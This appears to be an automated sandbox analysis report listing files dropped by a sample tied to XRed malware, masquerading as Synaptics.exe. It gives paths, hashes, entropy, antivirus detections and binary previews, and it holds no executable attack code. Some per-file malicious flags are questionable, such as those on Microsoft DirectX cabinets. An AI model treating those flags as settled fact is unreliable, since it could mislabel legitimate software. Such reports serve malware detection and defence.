Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bEVy9EvXp3UuAk_sG4h-eA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zDokV5R.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.262082264103519
Encrypted:	false
SSDEEP:	24:GgsF+04tFSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+n+pAZewRDK4mW
MD5:	860314A62030B137B25A2102E60EDBA5
SHA1:	1DC7AFB3F8224B046F938043A92EC2B5DC401507
SHA-256:	E251594BC19AED5100DFBAA7DA47AF6D0D974CAB98123D7C38335915B547FDF4
SHA-512:	A81A338D1295DB04C49EC4B174949F46E5DDB7CF7B429A18D6DD26D39546CE8D92FBD534F7ADD5790450DDA354A4E6E55A3D654F0ACF4281C52FC6CB2E3CB75D
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="rPOlS_mSObQHRyz2iTWphw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zWzVjln.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.257795027747121
Encrypted:	false
SSDEEP:	24:GgsF+0LBSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+K+pAZewRDK4mW
MD5:	53426B2293AC15C3D8C3B8B0FE83AB7C
SHA1:	60559E3F95277209A9E02E504FE2F129433BE066
SHA-256:	AF60960F087CEA50F554971850FCF541189E20E4EF16B2898708024EEE6D4801
SHA-512:	9B81B4356E1370BF2C334996E7AC7E3791735271652DC7FE57B66B8B45A790698DCB59D3DC9659C950C6542A9A1D0803B9664B2D157039ED3A9AFB62434B85C6
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="crufDd22jUBh2tE49OUyAg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\zsbKktb3.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\~$zsbKktb3.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.7769794087092887
Encrypted:	false
SSDEEP:	3:iXKG/4N+RMlW8td:iXlMlW8/
MD5:	37BD8218D560948827D3B948CAFA579C
SHA1:	24347FB0A66F2DA8AD3BAB818E3C24977104E5DA
SHA-256:	189E2D5600E0CC41F498D2EB22FA451F81746DCDBAA3EC1146A22C3A74452DA6
SHA-512:	A34D703FEBFD9E45A57BF047D9CCF890482B0F7CD3788F9BFD89DECA13B96DD4F43BDB0C4D81CC716DEAC37BCD1C393A7BCB159B471B5721B367E4884B17C699
Malicious:	false
Preview:	.user ..f.r.o.n.t.d.e.s.k. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DFCEF85EF10CA15268.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\._cache_file.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, MS CAB-Installer self-extracting archive
Category:	dropped
Size (bytes):	288088
Entropy (8bit):	7.744384810651628
Encrypted:	false
SSDEEP:	6144:pWK8EGMUjp5cGQ3Mek1B3B9h8Ins3i8AEYBSawz1YSc:JGvjp5cj35kDB9hrs3zARBSaJSc
MD5:	FD6057B33E15A553DDC5D9873723CE8F
SHA1:	F90EFB623B5ABEA70AF63C470DAA8674444FB1DF
SHA-256:	111AEDDC6A6DBF64B28CB565AA12AF9EE3CC0A56CE31E4DA0068CF6B474C3288
SHA-512:	D894630C9A4BDB767E9F16D1B701ACBDF011E721768BA0DC7A24E6D82A4D062A7CA253B1B334EDBA38C06187104351203A92C017838BDD9F13905CDE30F7D94D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......->..i_.i_.i_..\|.d_.i_.._..\|..h_..\|.q_..\|.h_.Richi_.........PE..L...!.};............................^Z..............................................O................................................................N..X............................................................................................text............................... ..`.data...............................@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\CZQKSDDMWR\GLTYDMDUST.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\Documents\CZQKSDDMWR\~$GLTYDMDUST.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.7769794087092887
Encrypted:	false
SSDEEP:	3:iXKG/4N+RMlW8td:iXlMlW8/
MD5:	37BD8218D560948827D3B948CAFA579C
SHA1:	24347FB0A66F2DA8AD3BAB818E3C24977104E5DA
SHA-256:	189E2D5600E0CC41F498D2EB22FA451F81746DCDBAA3EC1146A22C3A74452DA6
SHA-512:	A34D703FEBFD9E45A57BF047D9CCF890482B0F7CD3788F9BFD89DECA13B96DD4F43BDB0C4D81CC716DEAC37BCD1C393A7BCB159B471B5721B367E4884B17C699
Malicious:	false
Preview:	.user ..f.r.o.n.t.d.e.s.k. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Documents\CZQKSDDMWR\~$cache1

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.6264053582391735
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9IIr:ansJ39LyjbJkQFMhmC+6GD9j
MD5:	7407C51DD7AC30C4D79658D991A8B5D6
SHA1:	B48603F6A1DFFAB2FF458780025F6A3C2E523C3C
SHA-256:	1316730BBC50851C02F53254F9C57B99AF50A07BB0776332D1480BABD626F39A
SHA-512:	38334452808E5D203B287E2F4A47B8F5BBCE1ED18FABCFA4A61B8C04429150DFBFFE2241323B3C87D90ABBABBED49A5CEA584CC1CE83BF519BB728E1D6AC18EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 94%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Windows\Logs\DirectX.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	44146
Entropy (8bit):	5.357684473525696
Encrypted:	false
SSDEEP:	192:gSiwRq5ABGQh58IaEiGZ+jmBf0VX6M/Pi6nE6wtm+ruz7cn06v5dg091Imfx0mTa:gIo
MD5:	98E15FB3E25D2924C42176CB2F3E5DFB
SHA1:	569AAF163369E06F73D47E46DA4AE4687698F103
SHA-256:	AEB284A1DA26C63556350DFEB2A501913228E6F24DC6D2EBA770514AF33D16DE
SHA-512:	B0A441EC37C79489CCB97F11BFFE170AFEA352636CCA3618BAC42314DEE95ED6B7D8A6AD2CC40CB3174D0846103837D560ED716195B289E9961BA0750CEBCAA4
Malicious:	false
Preview:	01/02/25 14:28:33: DXWSetup: *** DXWSETUP ***..01/02/25 14:28:33: DXWSetup: WinMain()..01/02/25 14:28:33: DXWSetup: IsIA64(): not IA64...01/02/25 14:28:34: DXWSetup: Unable to get Version on target file C:\Windows\system32\directx\websetup\dsetup.dll..01/02/25 14:28:34: DXWSetup: Installed file C:\Windows\system32\directx\websetup\dsetup.dll..01/02/25 14:28:34: DXWSetup: Unable to get Version on target file C:\Windows\system32\directx\websetup\dsetup32.dll..01/02/25 14:28:34: DXWSetup: Installed file C:\Windows\system32\directx\websetup\dsetup32.dll..01/02/25 14:28:34: DXWSetup: GetDXVersion(): Unable to get RC string from registry...01/02/25 14:28:34: DXWSetup: DirectX Version: 4.09.00.0904.00..01/02/25 14:28:34: DXWSetup: Setup Version: 4.09.00.0904.00..01/02/25 14:28:34: DXWSetup: A newer version of DirectX have been installed already...01/02/25 14:28:34: dsetup32: IsWow64(): running on Wow64...01/02/25 14:28:40: DXWSetup: CDXWSetup::CDXWSetup()..01/02/25 14:28:40: DXWSetup: CDX

C:\Windows\SysWOW64\directx\websetup\Apr2005_d3dx9_25_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1073002 bytes, 5 files, at 0x44 +A "d3dx9_25_x86.cat" +A "d3dx9_25.dll", flags 0x4, ID 6922, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1082170
Entropy (8bit):	7.999075135168916
Encrypted:	true
SSDEEP:	24576:i0BodqhH/OCy8M+j5lcB4ZfeXBXUd/QLML9bw6Uzc12:iUbffy/+lmBXF8Ioxw6Uo12
MD5:	9C5DCA423D9D68349D290DF291DDBEEF
SHA1:	D9F1CAE586470EA309CE9F115525B0504FFFAEA4
SHA-256:	5487ED4E969A822E5C481CEFB1D4DA3066B1D5EC8C55798B246915ECB58A8665
SHA-512:	9F50599321F45FB7451B0A1C0F1DCBD6B4A4E60EE27B0EF5AA29168C1BCE5B08F34329916EA2EA655CD632D0A19C81953C2A5F1277F6A96FB63AFC098236509D
Malicious:	true
Preview:	MSCF....j_......D...........................j_...#..............H...7.........r2. .d3dx9_25_x86.cat..#.7.....r2}. .d3dx9_25.dll.......#...r2,. .apr2005_d3dx9_25_x86.inf.......#...r2,. .d3dx9_25_w9x.inf.....k.#...r2,. .d3dx9_25_x86.inf.(.0.?..CK..\....'4.A..".+.@.%..C.4).b!@..$.....a..k.#..v.w.w.]xg...............9{......k....q....6.Z&Ey-.@.....a.0.T...9b......a...b....ilk.+c.5.af.o.vl..............<....s.z..V.7........fa\.G\$En..._..\|$.?9.O...!..H.<...#.,...!.^N.<.g"..=.V\|O.a..gwcw...t.c.......X..4(.).. .?.S..0k..._2{<%X.......m.....D&&..v.c ....Av...u.l. K2......R.0.&.XO8b..p."H@^..2..jbb...hg.&...>.>....u..x....2...@.~....9..u.a.M.X...S5d_..\|}z"h..1.....<...Z!...V).............}OO...n.2..Q....../.......R+[C..l..(...@......1........$..vs..K. m...e...b..\}u.+.....?..bg...P.......%.pRgTq.t.t.e<..t.Y._.X.?F.(../.......abb.G5.qkb.\..Z...g.....g..(.....f..Lz.8...h.e....t.R.fJ.iJNCv}:.V.:..m.B..JIQrlA..Z5..HR..)9-...:.......V.JP.)t*.....6m....

C:\Windows\SysWOW64\directx\websetup\Apr2006_d3dx9_30_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1109261 bytes, 5 files, at 0x44 +A "d3dx9_30_x86.cat" +A "d3dx9_30.dll", flags 0x4, ID 6903, number 1, extra bytes 20 in head, 74 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1118429
Entropy (8bit):	7.999050518080374
Encrypted:	true
SSDEEP:	24576:OreyPa6AC8e290lruGDhi3TSvHDh+ISNvRNhPmJ0RRuu:cNoeYEuTSvjh+R3WKRv
MD5:	B3D644A116C54AFDA42A61B0058BE112
SHA1:	9AF7DDC29EEF98810A1A2F85DB0B19B2EC771437
SHA-256:	CA7B9C6A49E986C350147F00A6C95C5B577847B5667B75681A1EE15E3A189106
SHA-512:	A2D2F12B7B37BD8F5C8465DD13AD31942DF11EE5ED5423DEEEB178E6B594587706D2C5116258BE1562CAA5ECA691358AF3CB83B77898D1012FF521017D199165
Malicious:	true
Preview:	MSCF............D................................#..............J..............44f .d3dx9_30_x86.cat..p$........4.e .d3dx9_30.dll......$....4.e .apr2006_d3dx9_30_x86.inf.....z.$....4.e .d3dx9_30_w9x.inf.....+.$....4.e .d3dx9_30_x86.inf.v..[>..CK..X.K..=.. ....+..MBI.. M@.n..QH0....#....c..b/..{.z....E..y.......N8?gg..{..=..{...W..;..:....IA.....a.`.......43GX..r..,.f...+FA..,.....2..a0..2......Z.ty.Ih...m0w..es0Ww.[/.n%q.Z.I...ho......#...G.....\.. 1.P6....;.s.cZ.......t.B...X...LL..X.C.......B.......~......@..!..8..O..O..!mR..fbb.0.8L.f..XO.R.-......Y...y...Q4."5JD...p..s.T.f.2z.6..~...........9VPR.f.BH=.bg.s,.T.!=......O..........B...\|\|}...X..5]R.0.....c.+.4..S....E.7.y...[....3...2$..:qt...7T......Q..@X..Ji...q.Z8.Ea(..@zS.D.3;.b..a.}L.;..PG/-....(...../vL_...@K....c..&....f..y.....3.8fW:.T:N7..W:..t.t...#(.FK.k..X..&...;_...Be.w.....b6.z<..za..}_7.afQ......O{,..Thu...).'+..0{:.V}kI.&Z.JU&&*...B..[.'..t.vK.9.`]..!.)Vht.8e.\.T.....i......I.

C:\Windows\SysWOW64\directx\websetup\Apr2006_xinput_x64.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 81141 bytes, 5 files, at 0x44 +A "xinput1_1_x64.cat" +A "xinput1_1.dll", flags 0x4, ID 7457, number 1, extra bytes 20 in head, 5 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	90309
Entropy (8bit):	7.986243949537019
Encrypted:	false
SSDEEP:	1536:/0CNqg1WzKHJUq/JSlvxToeSNOUp9BttldRL9zaMNez4fbI9YKztrIrm:/hIg1cEJUxvxlSNOUpfttldRL9zkzAI5
MD5:	B0669F7D395078BEE0087B089F0B45C5
SHA1:	30506FC3DCE9532EF0A8CB3973347EC9C3C9875F
SHA-256:	E63A67783EF7624559F95AB697BF8AFBDAB7ACE31200283EF840E6B94AA16E5A
SHA-512:	D7EFCFD85B3CB6CB9B1936B701A9D7D91A6094AA08D8C933EDF8493C6AD57BE05A579980A404B35E9721F71B45F4CAE28399FCA3FF5DF20A9A3138B90F86B94C
Malicious:	false
Preview:	MSCF.....<......D...............!............<...#.............................44f .xinput1_1_x64.cat..F.........4.d .xinput1_1.dll......e.....4.d .infinst.exe.V....l.....4.e .apr2006_xinput_x64.inf......o.....4.e .xinput1_1_x64.inf.. ...9..CK.{.XSI..MHh..AD.. .7t...4..H.TTB...$.."...,...v].{Y{...u..k.......w..pA..}......<.\.9s.w.9sf.x...}...y..L......j`.c2..6..>..L.i.......F.......QZ...X.p.}c.i.`.,^X/l.8...m._..Fv0.}pOO.................N..>....O 6......X..s....A.'.s0....X...c._0.\|...?... .....IM.Ln..e..&..$...6?...K.....f7../.A..2...@=..7.`..L&..u:...w.>...q.q'=&...Sf....'..,.S`R,..aJ..@.nO.6.....TEF+.K...4.-.$....<e........ob.^..\({@).F.A.../.'..I../.F>@}..N.f....h...........q\.7#.~...Rm.2...HO0...{...dx....d..00<.3.v..........d....o:.e...,.....I..^v&.t .O..)Y;.B.7\|Q.K....Oo...g.L..5.I.....;t.i.\Z.V..>../..G+.!....z5,.*....1.L..#....58..f....7.x..Va~....bY....\+..U.-M.D..H....d"n{..b.X..V...Lqz..k.h.5..I.d)E..x'.hc.dp.Dr.8E,.(.R..+..5.YZS.1.

C:\Windows\SysWOW64\directx\websetup\Apr2006_xinput_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 40050 bytes, 4 files, at 0x44 +A "xinput1_1_x86.cat" +A "xinput1_1.dll", flags 0x4, ID 6338, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	49218
Entropy (8bit):	7.962835058038329
Encrypted:	false
SSDEEP:	768:rrXN+lWp5tvn2v0JeuXfYYJDyRIvwde6hecBLdKd+d4RUJ6HwyQs34VvD4:3gl6tfTVXwcWuqe6htcaJyQW4VvD4
MD5:	E207FB904E641246F3F7234DB74121FC
SHA1:	1BE8C50C074699BDD9184714E9022B7A2F8BF928
SHA-256:	3FDF63211B0DD38069A9C1DF74D7BC42742DE003CEF72AD1486AAA92D74546FA
SHA-512:	ED95D53BC351C98C0322753265B0A21C98DF97D0E2FBBC58A6836BFF374B7540B0CEA21371CD4A7EAD654210A42E1F9809CAC6E4EAE2ECF0EF2B88E220DC37F7
Malicious:	false
Preview:	MSCF....r.......D...........................r....#.............................46f .xinput1_1_x86.cat............4.d .xinput1_1.dll............4.e .apr2006_xinput_x86.inf.....R......4.e .xinput1_1_x86.inf...G..>..CK..\SG.8\|....&l....-n.6....(Z........"PH..,...+.G.V..b..V....Zm.Z..Xm..ZQ..E.{.......}....&L.g.9s....Jz?tp..N.;.]Y....!...b......t.c..'D%v[...8.8..........F.spf2y,.Gpe.w.......d...o.vs.........G...).bQ....cE%....."..GH.`"....D..B!..i.1..... ..0.. ..K# ...@*...C!M....R....SDq.c...b....#!6....b.....(/.`.....Q....(.!.pE....lB.a....L.M..[..E.........\|...;.H!..".P.j........9..<.t.l....]5w.;...R.9qQx...@x..8.........$.1.az!.Z..?.rDP+...c..)U'J..E.H..j....%.......w.;..x.O...>........`0.A4..d.....dT...Q.3..y0.."..].x"...\|.C.bs.,...`..h..#D..y.v..OM.1u{..C .X.N......+0....f2...3;...@...P......Z.......H.x.E<....A.-.4OA.Vi.f......."n\....b\...\M+.e.....k.N.q.`....%.@.../Q..V.e...s..."w.......KI........4.u.p..J^.V....D....t.0J...H.HMVg.d....B.v.]..)..

C:\Windows\SysWOW64\directx\websetup\Apr2007_d3dx10_33_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 689905 bytes, 6 files, at 0x44 +A "d3dx10_33_x86.cat" +A "d3dcompiler_33.dll", flags 0x4, ID 9049, number 1, extra bytes 20 in head, 49 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	699073
Entropy (8bit):	7.998968028413629
Encrypted:	true
SSDEEP:	12288:SHwziN1v34WzSc6IA6ajvY8ov8ZdReUTQ8Mr47JYCophIa9sNDn1QcILtw6:V01wWzCI3ajjls4NpAsNDnMw6
MD5:	F784B8A0FD84C8AC3F218A9842D8DA56
SHA1:	FB7B4B0F81CD5F1C6A900C71BFD4524AF9A79ECE
SHA-256:	949068035CE57BBB3658217EC04F8DE7A122C6E7857B6F8B0CA002EB573DF553
SHA-512:	01B818AA5188CDE3504E289AEDCA2D31A6C5AED479B18A2C78271828AE04BEBCD4082051B7F4EECA8A31E8EE5ADBA158420ECDCB21371C735E4781EE5F661DBF
Malicious:	true
Preview:	MSCF...........D...............Y#..............#..............1....).........6{. .d3dx10_33_x86.cat.p%...)....l6O. .d3dcompiler_33.dll.h...2O....o6=. .d3dx10_33.dll............6E. .apr2007_d3dx10_33_x86.inf.I...7......6E. .d3dx10_33_x86.inf.i..........6E. .d3dx10_33_x86_xp.inf..j"(.2..CK.y<...........l.al..)e.!a.&...l3.-.h....j.,."D.R..O...%W).gFn........}.z5..<s..s>.s>..\|...U*x...Z..!..E..U...<$.....y0.sPH)....<..<.4.M.@...U.......\).@..6.'.Yi.!.....R.@.&..X..i..z..Y....`...C...).Cz...p.9H$...t@....I.s....;.[.C+A"..<.7.w3..A..u...s8$....ma.Y5.3.e C.e.yAAP ...@L..8.,?..h.a..E2=..9=.......e5\|a./3B"q....Zh.P...6P.."....k....:.w..:.h%.....H.0u......+..D.+!..-...9.sD...O...QZ.a..8v#......Q..N..l%....c..?P..........>.....~......0.F.VB!1ii..v5.4.R.R.....LX.X.........w.8.'.~..p.8.......A......6w.\...~..[.B.E.!..h....uQR..q.....O.....R......Cth-.....$z..B..00.l.Uo.. '..m..fB..}...ij....<..RX._......k .k1.xH......A3y.<~V>.s^gV.8+.;+...CP..+. &.....PH..).UA{...E..

C:\Windows\SysWOW64\directx\websetup\Apr2007_d3dx9_33_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1600079 bytes, 5 files, at 0x44 +A "d3dx9_33_x86.cat" +A "d3dx9_33.dll", flags 0x4, ID 7180, number 1, extra bytes 20 in head, 108 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1609247
Entropy (8bit):	7.999284261824255
Encrypted:	true
SSDEEP:	24576:4cQY0tIpwa5ydxGuruluTsRWo1Iq9e5m98yiN9/0rjVH60mPxr/1MQK:4cIIi+G9rul8uooec98yi//0rjoDZrCF
MD5:	A5915EC0BE93D7EEBE8800CE761EE6DC
SHA1:	E8BBC21C2B5F0E5801286F07E3DA09DBC67C3961
SHA-256:	EFA2E6DE548401376A575E83A79DE019AA38F191D63FDEF3BD2B07D8CB33E3D7
SHA-512:	02259FF3C8478CBA134A8F8408AA624B7165CED97C0AED8C9626034599DD5439F84D1AF9EEFC4191898B0A524E5FFAFB9875EC00E740CEBE97EAC4C2DD0E31AA
Malicious:	true
Preview:	MSCF....Oj......D...........................Oj...#..............l....(.........6{. .d3dx9_33_x86.cat.hW5..(....l6O. .d3dx9_33.dll.\.....5....6B. .apr2007_d3dx9_33_x86.inf.....\.5....6B. .d3dx9_33_x86.inf.,...g.5....6B. .d3dx9_33_x86_xp.inf.6^]Z.;..CK.y<.....Y.[.J..".<3..K.AJ.CQa.&a..-.L.vE...")[e..!E)e...(q.W).g..t...?.....Ws^...\|.9...9.=.3..L.XN.U.&... ...L.p.b ..,....$.BJp@0.....@#.x^D...T.`~N./J~... ..A6..Tj.....s.....a...A.....#YV..`&B.m...!"....O.h.x.....!M ..e. k@...$C.7..F...7.%...............C".Xk..V..Y.....9...B>.n......J..<......{..w.MORA....v...H..l%.....`...;l.:..T@'Y]..9,H.`.,....A.....u..p.a.....D./!..VZ..1P..I......C..........9..4..1.z......h....W...~.}"hK.m..sA..}<;..w...,8.[a.y.!X...HM....qf.!....i.~.m`.O5...T&......2?...,%#.YCTh......H....@.a........?....7..}.+.c.S.\...-.%`.......1...5......24..........5.....yy-v..R.......{.C..@"....n..C.I.`.ZX....@.MH..+9Q[.\|.rD.j ...A.(.Vb.ZZx.f......F..}h..X....~[.Cs.S\|....RV9JT.k.....c....C...

C:\Windows\SysWOW64\directx\websetup\Apr2007_xinput_x64.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 90857 bytes, 6 files, at 0x44 +A "xinput1_3_x64.cat" +A "xinput1_3.dll", flags 0x4, ID 9350, number 1, extra bytes 20 in head, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	100025
Entropy (8bit):	7.988437274786544
Encrypted:	false
SSDEEP:	3072:Mt5OSvuXSf2rbZu4Kmsr4eLRwPC5B9y7q:MTOBXSSpFI4/PM/ye
